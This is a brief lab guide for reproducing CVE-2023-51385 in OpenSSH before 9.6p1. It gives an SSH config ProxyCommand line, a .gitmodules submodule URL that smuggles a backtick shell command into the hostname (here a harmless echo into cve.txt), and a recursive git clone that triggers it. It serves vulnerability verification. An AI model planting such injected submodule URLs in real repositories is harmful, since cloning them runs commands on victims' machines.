
Reproduction lab for CVE-2023-51385: command injection in OpenSSH ProxyCommand via malicious git submodule URLs. Step-by-step guide to verify the vulnerability.
First, add the following content to ~/.ssh/config
host *.example.com
ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p
There is a command injection in the .gitmodules file statement
url = ssh://`echo helloworld > cve.txt`foo.example.com/bar
After configuration, execute the following command to trigger
git clone https://github.com/LtmThink/CVE-2023-51385_test --recurse-submodules
If successful, a cve.txt file will be generated in the CVE-2023-51385_test directory

Note: OpenSSH requires <9.6p1
For details, see this blog post:
"# cve-2023-51385"